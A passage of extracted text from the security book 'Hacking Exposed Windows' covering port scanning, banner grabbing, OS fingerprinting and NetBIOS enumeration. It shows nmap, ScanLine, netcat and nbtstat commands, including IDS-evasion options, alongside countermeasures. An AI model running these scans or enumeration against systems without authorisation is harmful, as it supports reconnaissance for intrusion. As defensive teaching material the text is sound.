host.\nPort Scanning Variations Several variations on the standard TCP connect scan are designed \nto improve accuracy, speed, and stealth. For a good discussion of port scanning in all its \nforms, see www.insecure.org/nmap. The most practical variations follow:\n• Source port scanning By specifying a source port on which to originate \nthe TCP connection, rather than accepting whatever port is allocated by the \noperating system above 1024, an attacker can potentially evade router or \nfi rewall access controls designed to fi lter on source port.\n" }, { "page_number": 90, "text": "62 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n• SYN scanning By foregoing the last SYN packet in the three-way handshake, \none-third of the overhead of a TCP “connect” scan can be avoided, thus increasing \nspeed when scanning lots of systems. The SYN/ACK is used to gauge the status \nof the port in question.\n• UDP scanning An obvious variation used to identify non-TCP services such \nas Simple Network Management Protocol (SNMP). Typically, User Datagram \nProtocol (UDP) scanning sends a UDP packet to the port in question, and if \na “ICMP port unreachable” message is received, it then fl ags the service as \nunavailable. If no response is received, the service is fl agged as listening. This \ncan result in false positives in the case of network congestion or if access control \nblocks UDP; thus, UDP scanning is inherently unreliable.\nThe best port scanning tools perform all these types of scans and more. Let’s look at \nsome of the most flexible port scanners.\nPort Scanning Tools One of our favorite scanners is SuperScan, written by Robin Keir of \nFoundstone. SuperScan is a fast, flexible, graphical network scanning utility that comes \nat a great price—free! It also allows flexible specification of target IPs and port lists. The \n“Read ports from file” feature is especially convenient for busy security consultants. \nSuperScan also sports numerous other features, including banner grabbing, SYN \nscanning, adjustable scan speed, footprinting capabilities such as whois, HTML reporting, \nand even Windows enumeration functionality (see Chapter 4 for more about enumer-\nation). We do recommend configuring TCP connect scans rather than SYN scanning on the \n“Host And Service Discovery” tab for more consistent results. Figure 3-5 shows SuperScan \nat work scanning a default Windows Longhorn Server Build 1715 domain controller.\nWe love graphical interfaces as much as the next person, but for industrial-scale \nwork, it’s hard to beat command-line scanners for their speed and flexibility. One of the \nmost popular scanners of all time is nmap, which we’ve used since its earliest versions. \nNmap has the most comprehensive set of features of any port scanner available today, \nincluding IP scanning, OS fingerprinting (discussed later in this chapter), firewall/\nintrusion detection systems evasion, and output to multiple XML-compatible formats. \nThe Windows version now comes with a self-installer that automates installation of \nFigure 3-4 The TCP three-way handshake, building block of the classic TCP port scan\n" }, { "page_number": 91, "text": "Chapter 3: Footprinting and Scanning \n63\ndependencies (such as Winpcap) and configuration of performance tweaks. The only \ndrawback to nmap is that the sheer volume of features makes it a bit challenging to learn \nto use effectively without substantial practice (and/or a good tutor). The following \nillustrates a simple full port scan of a default Longhorn Server Build 1715 domain \ncontroller using nmap:\nC:\\>nmap -p1-65535 192.168.234.220\nStarting Nmap 4.20 ( http://insecure.org ) at 2007-03-11 21:03 Pacific Daylight\nTime\nInteresting ports on 192.168.234.220:\nNot shown: 65519 filtered ports\nPORT STATE SERVICE\n53/tcp open domain\n88/tcp open kerberos-sec\nFigure 3-5 SuperScan at work scanning a Longhorn Server domain controller\n" }, { "page_number": 92, "text": "64 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n135/tcp open msrpc\n139/tcp open netbios-ssn\n389/tcp open ldap\n445/tcp open microsoft-ds\n464/tcp open kpasswd5\n593/tcp open http-rpc-epmap\n636/tcp open ldapssl\n3268/tcp open globalcatLDAP\n3269/tcp open globalcatLDAPssl\n5722/tcp open unknown\n49154/tcp open unknown\n49158/tcp open unknown\n49159/tcp open unknown\n49166/tcp open unknown\nMAC Address: 00:0C:29:28:6C:33 (VMware)\nNmap finished: 1 IP address (1 host up) scanned in 305.750 seconds\nAnother good command-line scanner is ScanLine (formerly fscan). Although it lacks \nthe sheer volume of features that nmap has, it covers the fundamentals quite elegantly:\n• Takes text fi le input for both hosts and ports\n• Scans both TCP and UDP interchangeably (if using text fi le input for ports, \nprefi x UDP ports with a -u on the line—for example, -u130-140—or just use the \ninternal list of UDP ports with the –U switch)\n• Grabs banners while scanning (banner grabbing is discussed in its own section \na little later)\n• Can perform source port scanning using the -g switch\n• Has stealthy features: ping is optional (-p), port order may be randomized \n(-z), -d switch can “drip” ports at a user-defi ned rate so as to avoid notice \nby intrusion detection systems (IDSs)\n• -c switch can be used to change connection timeout value to wait for responses \nfrom TCP or UDP ports, allowing users to choose whether they want faster (lower \nnumber) or more accurate (higher number) scans\n• With judicious use of the –c switch, accurate LAN scans can reach more than \n100 ports per second\nThe following ScanLine syntax illustrates a simple scan for services often found \nrunning on Windows systems. It is not meant to be an exhaustive scan, but it is a pretty \nfast and accurate way of determining whether Windows systems are on the wire.\nC:\\>sl -bpz -c 300 -t 1-445,3389 -u 88,135-137,161,500 10.0.0.1-99\nThe -bpz switch tells ScanLine to grab banners (b), not to ping each host before \nscanning (p), and to randomize the port order (z). The -c switch sets a wait time of 300 \nmilliseconds for a response from a port, enabling speedier scans (the default is 4000). The \n-t and -u switches delineate TCP and UDP ports to be scanned, respectively. Finally, the \nlast command argument specifies the IP address range to be scanned—you can specify a \nrange of IP addresses, a comma-delimited list, or a mixture of both, just like the ports are \ndefined. Here’s what the output of such a scan might look like:\n" }, { "page_number": 93, "text": "Chapter 3: Footprinting and Scanning \n65\n10.0.0.1\nResponds with ICMP unreachable: Yes\nTCP ports: 53 80 88 135 139 389 445 3389\nUDP ports: 88 137 500\nTCP 80:\n[HTTP/1.1 200 OK Content-Length: 1433 Content-Type: text/html\nContent-Location: http://192.168.234.244/iisstart.htm\nLast-Modified: Sat, 22 Feb 2003 01:48:30 G]\nTCP 389:\n[0 a]\nNote that each active port is listed, and banners have been obtained for some ports (for \nexample, this system appears to be running a web server on port 80). This particular scan \naveraged about 80 ports per second over a LAN connection.\nTable 3-2 lists several TCP and UDP services commonly found listening on Windows \nproducts. Although some of these ports are common to many Internet-oriented operating \nsystems (for example, TCP 80/HTTP), those in boldface type are specific to Windows \nproducts (for example, TCP 445/SMB over TCP). You can use these ports as arguments \nto your own ScanLine or nmap routine, or parse the output of either tool looking for \nthese ports if you are interested in finding Windows systems and services.\nHere are some things to note about Table 3-2:\n• NT family systems listen on TCP 139 by default, but Windows 9x does not listen \non TCP/UDP 135.\n• Another differentiator is TCP/UDP 445, which is available by default on \nWindows 2000 and beyond, but not NT 4 or Windows 9x.\nThis little bit of trivia should allow you to distinguish between members of the Windows \nfamily if these ports all show up in port scan results.\nA final point to make about Table 3-2: Since Windows XP Service Pack 2, Microsoft \nhas implemented the Windows Firewall to block all of these ports by default, so you \nwon’t see them in port scan results. One interesting exception to this is Windows servers \nthat have been promoted to domain controllers that will list a number of these services \nas available. Recall our testing of a default Longhorn Server Build 1715 domain controller \nusing nmap earlier in this chapter. As you can see from these and other scanner test \nresults in this section, a number of services are listening by default on Longhorn domain \ncontrollers (at least in this prerelease build), and ping was also permitted. We validated \nthese results by running netstat on the target host, and every one except FTP was in fact \nlistening (we’re not sure why FTP showed up in this particular test). The Windows \nFirewall was activated and in its default configuration. Most of these services are related \nto Windows domain functionality, so this result is not unexpected. But it is still sobering \nto see this many potentially exploitable services accessible by default on domain \ncontrollers that are supposed to be the guardians of the Windows domain \ninfrastructure.\n" }, { "page_number": 94, "text": "66 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nProtocol\nPort No.\nService\nTCP\n21\nFTP\nTCP\n25\nSMTP\nTCP/UDP\n53\nDNS\nTCP\n80\nWWW\nTCP/UDP\n88\nKerberos\nUDP\n123\nNetwork Time\nTCP\n135\nMSRPC Endpoint Mapper\nUDP\n137\nNetBIOS Name Service\nUDP\n138\nNetBIOS Datagram Service\nTCP\n139\nNetBIOS Session Service (SMB/CIFS over \nNetBIOS)\nUDP\n161\nSNMP\nTCP/UDP\n389\nLDAP\nTCP\n443\nHTTP over SSL/TLS\nTCP/UDP\n445\nDirect Host (SMB/CIFS over TCP)\nTCP/UDP\n464\nKerberos kpasswd\nUDP\n500\nInet Key Exch, IKE (IPSec)\nTCP\n593\nHTTP RPC Endpoint Mapper \nTCP\n636\nLDAP over SSL/TLS\nTCP\n1433\nMSSQL\nUDP\n1434\nMSSQL Instance Mapper\nTCP\n3268\nAD Global Catalog\nTCP\n3269\nAD Global Cat over SSL\nTCP\n3389\nWindows Terminal Server\nTCP/UDP\n4500\nMicrosoft IPsec NAT Traversal\nTCP\n(Randomly \nselected 4-\ndigit port)\nIIS HTML Mgmt (W2K)\nTable 3-2 Common Windows TCP/UDP Services\n" }, { "page_number": 95, "text": "Chapter 3: Footprinting and Scanning \n67\nCountermeasures for Ping Sweeps and Port Scanning\nPing sweeps and port scans are best blocked at the network level using router and/or \nfirewall access control configurations that block all inbound and outbound access that is \nnot specifically required. Be especially sure that ICMP Echo Requests and the Windows-\nspecific ports TCP/UDP 135–139 and 445 are never available from the Internet.\nEcho Request is only one of 17 types of ICMP packet. If some ICMP access is necessary, carefully \nconsider which types of ICMP traffic to pass. A minimalist approach may be to allow only ICMP \nECHO-REPLY, HOST UNREACHABLE, and TIME EXCEEDED packets into the DMZ network.\nFor stand-alone hosts, disable unnecessary services so that they do not register in \nport scans. Chapter 4 discusses strategies for disabling the Windows-specific services \nTCP/UDP 135–139 and 445 on Windows.\nIt’s also a good idea to configure the Windows Firewall (or host-based IPSec filters in \nolder Windows versions lacking the firewall) to block all services except those explicitly \nrequired, even if you have disabled them or have them blocked at the firewall. Defense-\nin-depth makes for more robust security and prevents a security lapse if someone \ninadvertently enables an unauthorized service on the system.\nBe sure to set the NoDefaultExempt Registry key when using IPSec filters to disable the exemption \nfor Kerberos and Resource Reservation Setup Protocol (RSVP) traffic.\nSecurity administrators and consultants who perform authorized network scanning \nshould recognize that IDSs are capable of detecting ping sweeps and port scans. Although \nthe volume of such activity on the Internet is so great that it is probably a waste of time \nto track such events religiously, your organizational policy may vary on how much \nmonitoring of scans should be performed.\nBanner Grabbing\nPopularity:\n9\nSimplicity:\n5\nImpact:\n2\nRisk Rating:\n5\nAs you have already seen in our previous demonstrations of port scanning tools, \nservice banner information can be read while connecting to services during a port scan. \nBanner information may reveal the type of software in use (for example, if the web server \nis IIS) and possibly the operating system as well. Although it is not overwhelmingly \nsensitive, this information can add greater efficiency to an attack since it narrows the \nattacker’s focus to the specific software in question.\n" }, { "page_number": 96, "text": "68 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nBanner grabbing can also be performed against individual ports using a simple tool \nlike telnet or netcat. Here is an example of banner grabbing using netcat and the HTTP \nHEAD method (CRLF indicates a carriage return line feed):\nC:\\>nc -vv server 80\nserver [192.168.234.244] 80 (http) open\nHEAD / HTTP/1.0\n[CRLF][CRLF]\nHTTP/1.1 200 OK\nContent-Length: 1433\nContent-Type: text/html\nContent-Location: http://192.168.234.244/iisstart.htm\nLast-Modified: Sat, 22 Feb 2007 01:48:30 GMT\nAccept-Ranges: bytes\nETag: “\"06be97f14dac21:2da\"\"\nServer: Microsoft-IIS/6.0\nDate: Sat, 24 May 2007 22:14:15 GMT\nConnection: close\nsent 19, rcvd 300: NOTSOCK\nInstead of remembering potentially complex syntax for each service, you can just \nwrite it to a text file and redirect it to a netcat socket. For example, take the HEAD / \nHTTP/1.0 [CRLF][CRLF] command and write it to a file called head.txt. Then simply \nredirect head.txt through an open netcat socket like so:\nC:\\>nc -vv victim.com 80 < head.txt\nThe result is exactly the same as typing in the commands once the connection is open.\nCountermeasures for Banner Grabbing\nIf possible, change the banner presented by services that must be accessed from the \nnetwork. For example, the free Microsoft ISAPI filter called URLScan can change the IIS \nHTTP header using the AlternateServerName= setting. By default, this setting is \nblank; you will also have to make sure that the RemoveServerHeader setting is set to \n0. For example, you can set AlternateServerName to Apache/2.0.26 (Linux) or \nApache/1.3.20 (UNIX) to throw off would-be attackers.\nSome might debate the wisdom of making configuration changes that could reduce \nperformance or stability simply to hide the fact that a server is running a known software \npackage (a fact that can usually be gleaned readily by looking at the type of information \nit is serving up—for example, Active Server Pages pretty much indicates that the server \nis IIS). However, hordes of hackers and script kiddies frequently scan the Internet using \nautomated tools to seek out and identify specific software versions to try out the latest \nhack du jour. These scripts often trigger on the server banner. If your server’s banners are \ndifferent, you may fall below their radar.\n" }, { "page_number": 97, "text": "Chapter 3: Footprinting and Scanning \n69\nYou should also strongly consider placing a warning in custom-tailored service banners. \nThis warning should explicitly state that unauthorized users of the system will be \nprosecuted, and any usage indicates consent to be monitored and have activities logged.\nOS Detection via TCP/IP Stack Fingerprinting\nIf a TCP service is found to be available via port scanning, the operating system of a target \nmachine may also be detected by simply sending a series of TCP packets to the listening \nservice and seeing what replies come back. Because of subtle differences in the TCP/IP \nimplementations across various operating systems, this simple technique can fairly \nreliably identify the remote OS. Unfortunately, some variations on this technique use non-\nRFC-compliant packets that may cause unexpected results on the target system (up to and \nincluding system crashes), but most recent approaches are quite safe. So-called “passive” \nstack fingerprinting can also be performed using network eavesdropping, or sniffing, to \nexamine network communications passing to and from a host. An in-depth discussion of \nTCP/IP stack fingerprinting is outside the scope of this book, but we have included some \nlinks to more information in the “References and Further Reading” section.\nNmap can perform TCP/IP stack fingerprinting if you specify the –A option, which \nenables OS detection. The next example shows nmap’s OS detection feature at work \nagainst a default Longhorn Server Build 1715 domain controller (some output has been \nremoved for clarity). Nmap makes a pretty good guess of the operating system!\nC:\\>nmap -P0 -A 192.168.234.220\nStarting Nmap 4.20 ( http://insecure.org ) at 2007-03-11 21:09 Pacific Daylight\nTime\n1 service unrecognized despite returning data. If you know the service/version,\nplease submit the following fingerprint at http://www.insecure.org/cgi-bin/servi\ncefp-submit.cgi :\nSF-Port53-TCP:V=4.20%I=7%D=3/11%Time=45F4D2AB%P=i686-pc-windows-windows%r(\nSF:DNSVersionBindReq,4E,\"\"\\0L\\0\\x06\\x05\\0\\0\\x01\\0\\x01\\0\\0\\0\\0\\x07version\\x0\nSF:4bind\\0\\0\\x10\\0\\x03\\xc0\\x0c\\0\\x10\\0\\x01X\\x02\\0\\0\\0\\\"\"!Microsoft\\x20DNS\\x\nSF:206\\.0\\.6001\\x20\\(1771404E\\)\"\");\nMAC Address: 00:0C:29:28:6C:33 (VMware)\nDevice type: general purpose\nRunning (JUST GUESSING) : Microsoft Windows Vista (85%)\nAggressive OS guesses: Microsoft Windows Vista Beta 2 (Build 5472) (85%)\nNo exact OS matches for host (test conditions non-ideal).\nUptime: 0.114 days (since Sun Mar 11 18:28:05 2007)\nNetwork Distance: 1 hop\nService Info: OS: Windows\nA FINAL WORD ON FOOTPRINTING \nAND SCANNING\nHere are a few final thoughts before we close the chapter on footprinting and scanning.\nBecause of the “fire-and-forget” ease of tools like ScanLine, the critical importance of \nfootprinting and scanning can be overlooked when auditing your own systems using the \n" }, { "page_number": 98, "text": "70 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nmethodology discussed in this book. Don’t make this mistake—the entire methodology is \nbuilt on the information obtained in the first two steps, and a weak effort here will undermine \nthe entire process. After all, a single missed system or service may be your undoing.\nThis said, don’t go overboard for accuracy. Networks are by nature dynamic entities \nand will likely change mere hours after your first port scan. It is therefore important that \nyou perform footprinting and scanning on a regular basis and monitor changes carefully. \nIf the burden of maintaining a rigorous assessment schedule is too much for your \norganization, consider an automated vulnerability management tool and/or managed \nservice. It handles all of the details so that you don’t have to.\nSpeaking of such tools and services, it’s important to point out that the intent of this \nchapter is simply to provide an introduction to the basic concepts involved in network \nsecurity auditing. Although we’ve illustrated a lot of tools and techniques using manual \nmethods in this chapter, most security practitioners today employ specialized vulnerability \nscanners that automate all of the functionality we’ve demonstrated. Furthermore, these \nnew tools will go well beyond simple host and service identification and perform automated \nvulnerability validation. Modern tools are also capable of scanning the application layer for \nwhat were once considered to be difficult-to-validate custom logic vulnerabilities. As the \ntechnology market has matured, evolving industry and government regulations like the \nPayment Card Industry Data Security Standard (PCI DSS) have also driven increasing \nstandardization, to the point where security scanning is now considered a commodity item \nthat is priced at a few dollars per scanned host. If you are doing security assessments of any \nscale on a regular basis, we strongly recommend that you investigate the newest scanning \ntools and services for incorporation into your broader security program or practice.\nSUMMARY\nIn this chapter, we’ve identified a number of Windows hosts and services, although \nadditional Windows hosts and services may remain undiscovered behind routers or \nfirewalls. The next step is to probe these services further.\nREFERENCES AND FURTHER READING\nReference\nLocation\nFree Tools\nSam Spade\nhttp://samspade.org\nNmap\nwww.insecure.org/nmap\nGoogle\nwww.google.com\nSuperScan\nwww.foundstone.com/us/resources/proddesc/\nsuperscan4.htm\nScanLine\nwww.foundstone.com/us/resources-free-tools.asp\nNetcat\nwinhackingexposed.com/nc.zip\n" }, { "page_number": 99, "text": "Chapter 3: Footprinting and Scanning \n71\nReference\nLocation\nGeneral References\nARIN whois web interface \n(also search RIPE and \nAPNIC for non-U.S. Internet \ninformation)\nwww.arin.net/whois\nIANA Port Number \nAssignments\nwww.iana.org/assignments/port-numbers\nOS Detection\ninsecure.org/nmap/osdetect/\nHacking Exposed: Network \nSecurity Secrets and Solutions,\n5th Edition\nby Stuart McClure, Joel Scambray, and George \nKurtz. McGraw-Hill (2005)\n" }, { "page_number": 100, "text": "This page intentionally left blank \n" }, { "page_number": 101, "text": "73\n4\nEnumeration\n" }, { "page_number": 102, "text": "74 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nA\nssuming that footprinting and scanning haven’t turned up any immediate \navenues of conquest, an attacker will next turn to identifying more detailed \ninformation about prospective victims, including valid user account names or \npoorly protected resource shares. Many methods can be used to extract such information \nfrom Windows, a process we call enumeration.\nThe key difference between previously discussed information-gathering techniques \nand enumeration is in the level of intrusiveness: Enumeration involves active connections \nto systems and directed queries (some exceptions might include passive enumeration \nthrough IP stack profiling or promiscuous-mode sniffing). As such, they may (should!) \nbe logged or otherwise noticed. We show you what to look for and how to block it, if \npossible.\nMuch of the information gathered through enumeration may appear harmless at first \nglance. However, the information that leaks from the following holes can be your \nundoing, as we try to illustrate throughout this chapter. In general, once a valid username \nor share is enumerated, it’s usually only a matter of time before the intruder guesses the \ncorresponding password or identifies some weakness associated with the resource-\nsharing protocol. By closing these easily fixed loopholes, you eliminate the first foothold \nof the malicious hacker.\nOur discussion of Windows enumeration will focus on the following topics:\n• NetBIOS Name Service enumeration\n• Microsoft Remote Procedure Call (MSRPC) enumeration\n• Server Message Block (SMB) enumeration\n• Domain Name System (DNS) enumeration\n• Simple Network Management Protocol (SNMP) enumeration\n• Active Directory enumeration\nFirst, let’s review the information we’ve gathered so far to establish how we’re going \nto proceed.\nPRELUDE: REVIEWING SCAN RESULTS\nEnumeration techniques are mostly service specific and thus should be targeted using \ninformation gathered in Chapter 3 via port scanning. Table 4-1 lists the key services that \nwill be sought out by attackers for enumeration purposes.\nWe systematically attack these services in the upcoming sections, revealing \ninformation that will make you cringe—all with no authentication required!\nNetBIOS Names vs. IP Addresses\nRemember that we can use information from ping sweeps (see Chapter 3) to substitute \nIP addresses for the NetBIOS names of individual machines. IP address and NetBIOS \nnames are mostly interchangeable (for example, \\\\192.168.202.5 can be equivalent to \n" }, { "page_number": 103, "text": "Chapter 4: Enumeration \n75\n\\\\SERVER_NAME). For convenience, attackers will often add the appropriate entries to \ntheir %systemroot%\\system32\\drivers\\etc\\LMHOSTS file, appended with the #PRE\nsyntax, and then run nbtstat –R at a command line to reload the name table cache. \nThey are then free to use the NetBIOS name in future attacks, and it will be mapped \ntransparently to the IP address specified in LMHOSTS.\nBeware when establishing sessions using NetBIOS names versus IP addresses. All \nsubsequent commands must be launched against the original target. For example, if you \nestablish a null session (see the next section) with \\\\192.168.2.5 and then attempt to \nextract information via this null session using the NetBIOS name of the same system, you \nwill not get a result. Windows remembers which name you specified, even if you don’t!\nDisable and Block These Services!\nIt goes without saying that one countermeasure for every vulnerability mentioned in this \nchapter is to disable the services listed in Table 4-1. If you cannot disable them for \ntechnical or political reasons, we will show you in acute detail how vulnerable you are. \nWe will also illustrate some specific countermeasures to mitigate the risk from running \nthese services. However, if these services are running, especially SMB (over NetBIOS or \nTCP), you will always be exposed to some degree of risk.\nOf course, it is also important to block access to these services at external network \ngateways. These services are mostly designed to exist in an unauthenticated local area \nnetwork (LAN) environment. If they are available to the Internet, it will only be a matter \nof time before a compromise results—it’s almost guaranteed.\nPort\nService\nTCP 53\nDNS zone transfer\nTCP 135\nMicrosoft RPC Endpoint Mapper\nUDP 137\nNetBIOS Name Service (NBNS)\nTCP 139\nNetBIOS session service (SMB over NetBIOS)\nTCP 445\nSMB over TCP (Direct Host)\nUDP 161\nSimple Network Management Protocol (SNMP)\nTCP/UDP 389\nLightweight Directory Access Protocol (LDAP)\nTCP/UDP 3268\nGlobal Catalog Service\nTCP 3389\nTerminal Services\nTable 4-1 Windows Services Typically Targeted by Enumeration Attacks\n" }, { "page_number": 104, "text": "76 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nLast but not least, use defense in depth. Also configure host-based defenses to block \naccess to these services. The Windows Firewall that ships with modern Windows versions \nis a great host-based mechanism to achieve this, and the default configurations generally \nblock these services out of the box (be aware that upgrading to newer versions of \nWindows can leave legacy settings intact).\nIn Vista and Windows Server 2008, the Windows Firewall comes preconfigured to \nblock almost all inbound connectivity using the Public profile (the Private and Domain \nprofiles allow more services). Also note that with Windows Firewall on Vista and later, \nyou can filter on secure connections (that is, those that originate from specified users \nand/or computers and are authenticated and/or encrypted using IPSec), as well as IP \naddresses. Furthermore, these features can be controlled using Group Policy across \nWindows domains. Figure 4-1 shows the Vista Firewall configuration options for filtering \ninbound connections to the NetBIOS Name Service (NBNS), which is one of the services \nagainst which we’ll demonstrate attacks in this chapter.\nIn Vista and Windows Server 2008, to get access to advanced firewall settings, load the Windows \nFirewall with Advanced Security MMC snap-in (Start | Run | “wf.msc”) instead of the default Windows \nFirewall applet in the Control Panel. This will give you visibility into and control over the actual firewall \nrules and other administrative settings.\nFigure 4-1 Vista Firewall (with Advanced Security) options for fi ltering inbound services (in this \nexample, NBNS)\n" }, { "page_number": 105, "text": "Chapter 4: Enumeration \n77\nNETBIOS NAME SERVICE ENUMERATION\nThe first thing a remote attacker will try on a well-scouted Windows network is to get a \nsense of what exists on the wire. Since Windows is still dependent on NBNS (UDP 137) \nby default, we sometimes call these activities “enumerating the NetBIOS wire.” The tools \nand techniques for peering along the NetBIOS wire are readily available—in fact, most \nare built into the various Windows operating systems! We discuss those first and then \nmove on to some third-party tools. We save discussion of countermeasures until the end, \nsince fixing all of this is rather simple and can be handled in one fell swoop.\nEnumerating Domains with Net View\nPopularity:\n9\nSimplicity:\n10\nImpact:\n2\nRisk Rating:\n7\nThe net view command is a great example of a built-in enumeration tool. Net view \nis an extraordinarily simple command-line utility that will list domains available on the \nnetwork and then lay bare all machines in a domain. Here’s how to enumerate domains \non the network using net view:\nC:\\>net view /domain\nDomain\n-----------------------------------------------------------------------\nCORLEONE\nBARZINI_DOMAIN\nTATAGGLIA_DOMAIN\nBRAZZI\nThe command completed successfully.\nSupplying an argument to the /domain switch will list computers in a particular \ndomain, as shown next:\nC:\\>net view /domain:corleone\nServer Name Remark\n-----------------------------------------------------------------------\n\\\\VITO Make him an offer he can't refuse\n\\\\MICHAEL Nothing personal\n\\\\SONNY Badda bing badda boom\n\\\\FREDO I'm smart\n\\\\CONNIE Don't forget the cannoli\nFor the command-line challenged, the Network Neighborhood shows essentially the \nsame information shown in these commands. However, because of the sluggishness of \nupdates to the browse list, we think the command-line tools are snappier and more reliable.\n" }, { "page_number": 106, "text": "78 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nDumping the NetBIOS Name Table with Nbtstat and Nbtscan\nPopularity:\n8\nSimplicity:\n9\nImpact:\n1\nRisk Rating:\n6\nAnother great built-in tool is nbtstat, which calls up the NetBIOS Name Table from a \nremote system. The Name Table contains a great deal of information, as shown in the \nfollowing example:\nC:\\>nbtstat -A 192.168.202.33\nLocal Area Connection:\nNode IpAddress: [192.168.234.244] Scope Id: []\n NetBIOS Remote Machine Name Table\n Name Type Status\n--------------------------------------------- \n CAESARS <00> UNIQUE Registered \n VEGAS2 <00> GROUP Registered \n VEGAS2 <1C> GROUP Registered \n CAESARS <20> UNIQUE Registered \n VEGAS2 <1B> UNIQUE Registered \n VEGAS2 <1E> GROUP Registered \n VEGAS2 <1D> UNIQUE Registered \n ..__MSBROWSE__.<01> GROUP Registered \n MAC Address = 00-01-03-27-93-8F\nAs illustrated, nbtstat extracts the system name (CAESARS), the domain or workgroup \nit’s in (VEGAS2), and the Media Access Control (MAC) address. These entities can be \nidentified by their NetBIOS suffixes (the two-digit hexadecimal number to the right of \nthe name), which are listed in Table 4-2.\nOlder versions of Windows would cough up information about any logged-on users \nin nbtstat output. By default on newer versions of Windows, the Messenger service is \ndisabled, thus nbtstat output no longer contains this information. As you can see in Table \n4-2, logged-on users would normally have an entry in the NetBIOS Name Table for the \nMessenger service (see the row beginning with ). Since this service is off by \ndefault in newer versions of Windows, the NetBIOS Name Table cannot be used to \nidentify valid account names on the server.\n" }, { "page_number": 107, "text": "Chapter 4: Enumeration \n79\nNetBIOS Name\nSuffi x\nName Type\nService\n\n00\nU\nWorkstation\n\n01\nU\nMessenger (for messages sent \nto this computer)\n<_MS_BROWSE_>\n01\nG\nMaster Browser\n\n03\nU\nMessenger\n\n06\nU\nRAS Server\n\n1F\nU\nNetDDE\n\n20\nU\nServer\n\n21\nU\nRAS Client\n\n22\nU\nMS Exchange Interchange\n\n23\nU\nMS Exchange Store\n\n24\nU\nMS Exchange Directory\n\n30\nU\nModem Sharing Server\n\n31\nU\nModem Sharing Client\n\n43\nU\nSMS Clients Remote Control\n\n44\nU\nSMS Remote Control Tool\n\n45\nU\nSMS Client Remote Chat\n\n46\nU\nSMS Client Remote Transfer\n\n4C\nU\nDEC Pathworks TCPIP\n\n52\nU\nDEC Pathworks TCPIP\n\n87\nU\nMS Exchange MTA\n\n6A\nU\nNetmon Agent\n\nBF\nU\nNetmon Application\n\n03\nU\nMessenger Service (for \nmessages sent to this user)\nTable 4-2 NetBIOS Suffi xes with Associated Name Types and Services\n" }, { "page_number": 108, "text": "80 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nThis output also shows no information on running services. In Windows 2000, a \nsystem running IIS would typically show the INet~Services entry in its table. The output \nwas taken from a Windows Server 2003 system running IIS, but this information does \nnot appear. We’re unsure what lies at the root of this behavior, but it’s a welcome change \nsecurity-wise, since it provides potential intruders with less information.\nThe Name Type column in Table 4-2 also has significance, as shown in Table 4-3.\nNetBIOS Name\nSuffi x\nName Type\nService\n\n00\nG\nDomain Name\n\n1B\nU\nDomain Master Browser\n\n1C\nG\nDomain Controllers\n\n1D\nU\nMaster Browser\n\n1E\nG\nBrowser Service Elections\n>\n1C\nG\nIIS\n\n00\nU\nIIS\n\n2B\nU\nLotus Notes Server\nIRISMULTICAST\n2F\nG\nLotus Notes\nIRISNAMESERVER\n33\nG\nLotus Notes\nTable 4-2 NetBIOS Suffi xes with Associated Name Types and Services (continued)\nNetBIOS Name Type\nDescription\nUnique (U)\nThe name might have only one IP \naddress assigned to it.\nGroup (G)\nA unique name, but it might exist \nwith many IP addresses.\nMultihomed (M)\nThe name is unique but may exist \non multiple interfaces of the same \ncomputer.\nTable 4-3 NetBIOS Name Types\n" }, { "page_number": 109, "text": "Chapter 4: Enumeration \n81\nScanning NetBIOS Name Tables with Nbtscan\nPopularity:\n5\nSimplicity:\n8\nImpact:\n2\nRisk Rating:\n5\nThe nbtstat utility has two drawbacks: it is restricted to operating on a single host at \na time, and it has rather inscrutable output. Both of those issues are addressed by the free \ntool nbtscan from Alla Bezroutchko. Nbtscan will “nbtstat” an entire network with \nblistering speed and format the output nicely:\nC:\\>nbtscan 192.168.234.0/24\nDoing NBT name scan for adresses from 192.168.234.0/24\nIP address NetBIOS Name Server User MAC address\n----------------------------------------------------------------------\n192.168.234.31 PRNTSRV PRINT 00-50-da-30-1e-0f\n192.168.234.34 LAPTOP 00-b0-d0-56-bf-d4\n192.168.234.43 LUXOR 00-01-03-24-05-7e\n192.168.234.44 LUXOR 00-02-b3-16-db-2e\n192.168.234.46 CAESARS 00-d0-b7-1f-e8-b0\nNote in this output that only the server PRNTSRV indicates a logged-on user. This is the \nonly Windows 2000 machine listed in the output, highlighting our earlier point that \naccount names will no longer show up in NetBIOS Name Tables by default in newer \nversions of Windows. In any case, nbtscan is a great way to flush out hosts running \nWindows on a network. Try running it against your favorite Class C–sized network, and \nyou’ll see what we mean. You may achieve erratic results running it across the Internet \ndue to the vagaries of NBNS over the Internet.\nEnumerating Windows Domain Controllers\nPopularity:\n6\nSimplicity:\n7\nImpact:\n2\nRisk Rating:\n5\nTo dig a little deeper into the Windows network structure, we’ll need to use a tool \nfrom the Windows Server 2003 Support Tools. (Install these from the \\support\\tools \ndirectory on the Windows Server 2003 CD-ROM.) In the next example, you’ll see how \n" }, { "page_number": 110, "text": "82 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nthe tool called nltest identifies the domain controllers (the keepers of Windows network \nauthentication credentials) in a Windows domain:\nC:\\>nltest /dclist:vegas2\nGet list of DCs in domain 'vegas2' from '\\\\CAESARS'.\nYou don't have access to DsBind to vegas2 (\\\\CAESARS)\n(Trying NetServerEnum).\nList of DCs in Domain vegas2\n \\\\CAESARS (PDC)\nThe command completed successfully\nNetBIOS Network Enumeration Countermeasures\nAll the preceding techniques operate over the NetBIOS Name Service, UDP 137. (Note \nthat the nltest command will also try directory-related services such as LDAP.) The \nbest way to prevent these activities is by blocking access to these ports using a router, \nfirewall, or other network gatekeeper. At the host level, configure the Windows Firewall \nor Windows’ IPSec filters, or install some other host-based filtering functionality. In Vista, \nthe Windows Firewall Public Profile comes preconfigured with an NBNS-inbound rule, \nbut it is disabled by default, so all the attacks described in this section are blocked.\nIf you must allow access to NBNS, the only way to prevent user data from appearing \nin NetBIOS Name Table dumps is to disable the Alerter and Messenger services on \nindividual hosts. The startup behavior for these services can be configured through the \nServices Control Panel. As we’ve noted earlier, these services are disabled by default on \nnewer Windows versions.\nRPC ENUMERATION\nNear and dear to NetBIOS Name Service in 